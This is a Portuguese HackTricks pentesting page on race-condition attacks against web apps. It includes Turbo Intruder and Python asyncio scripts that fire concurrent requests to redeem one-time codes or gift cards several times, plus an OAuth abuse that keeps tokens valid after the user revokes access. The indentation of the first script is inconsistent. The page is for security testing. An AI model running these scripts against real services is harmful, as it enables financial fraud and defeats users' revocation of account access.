hacktricks/pentesting-web/race-condition.md
2023-06-06 18:56:34 +00:00

9.3 KiB

Condição de corrida

Use o Trickest para construir e automatizar facilmente fluxos de trabalho com as ferramentas da comunidade mais avançadas do mundo. Obtenha acesso hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Qualquer coisa limitada por um número de tentativas

Condições de corrida são vulnerabilidades que aparecem em sites que limitam o número de vezes que você pode realizar uma ação. Um exemplo muito fácil pode ser encontrado neste relatório.

Usando várias vezes um código de uso único

Quando você faz a página da web executar alguma ação que deve ser feita apenas uma vez, mas se a ação for feita várias vezes, você será beneficiado, você realmente precisa tentar uma condição de corrida.
Na maioria das vezes, isso está diretamente relacionado com dinheiro (se uma ação for realizada, você recebe X dinheiro, então vamos tentar fazê-la várias vezes muito rapidamente).

Usando da mesma conta o mesmo código várias vezes

Por exemplo, neste bug, o caçador foi capaz de carregar o dinheiro dentro de um cartão-presente várias vezes.

Este é o script turbo intruder usado para testar a condição de corrida do relatório mencionado:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False
                           )

   for i in range(30):
    engine.queue(target.req, i)
        engine.queue(target.req, target.baseInput, gate='race1')


    engine.start(timeout=5)
   engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)

Usando também o BURP, você pode enviar a requisição para o Intruder, definir o número de threads para 30 dentro do menu Opções e selecionar como carga útil Cargas úteis nulas e gerar 30.

Usando o mesmo código de contas diferentes

Se a proposta anterior não funcionar (tente usar o mesmo código várias vezes na mesma conta), você pode tentar uma variante: tente usar o mesmo código de contas diferentes:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           pipeline=False
                           )
    a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
    for i in range(len(a)):
        engine.queue(target.req,a[i], gate='race1')
    # open TCP connections and send partial requests
    engine.start(timeout=10)
    engine.openGate('race1')
    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)

Usando Python

import asyncio
import httpx

async def use_code(client):
    resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
    return resp.text

async def main():
    async with httpx.AsyncClient() as client:
        tasks = []
        for _ in range(20): #20 times
            tasks.append(asyncio.ensure_future(use_code(client)))
        
        # Get responses
        results = await asyncio.gather(*tasks, return_exceptions=True)
        
        # Print results
        for r in results:
            print(r)
        
        # Async2sync sleep
        await asyncio.sleep(0.5)
    print(results)

asyncio.run(main())

Persistência eterna do OAuth2

Existem vários provedores de OAuth. Esses serviços permitirão que você crie um aplicativo e autentique usuários registrados pelo provedor. Para fazer isso, o cliente precisará permitir que seu aplicativo acesse alguns de seus dados dentro do provedor de OAuth.
Então, até aqui, apenas um login comum com google/linkdin/github... onde você é solicitado com uma página dizendo: "O aplicativo <InsertCoolName> deseja acessar suas informações, você deseja permitir?"

Condição de corrida em authorization_code

O problema aparece quando você aceita e automaticamente envia um authorization_code para o aplicativo malicioso. Em seguida, este aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT (Token de Autenticação/Token de Atualização) a partir do authorization_code para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados para criar várias contas. Então, se você parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos.

Condição de corrida em Refresh Token

Depois de obter um RT válido, você pode tentar abusar dele para gerar vários AT/RT e mesmo se o usuário cancelar as permissões para o aplicativo malicioso acessar seus dados, vários RTs ainda serão válidos.

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Use Trickest para criar e automatizar fluxos de trabalho com facilidade, alimentados pelas ferramentas da comunidade mais avançadas do mundo.
Obtenha acesso hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}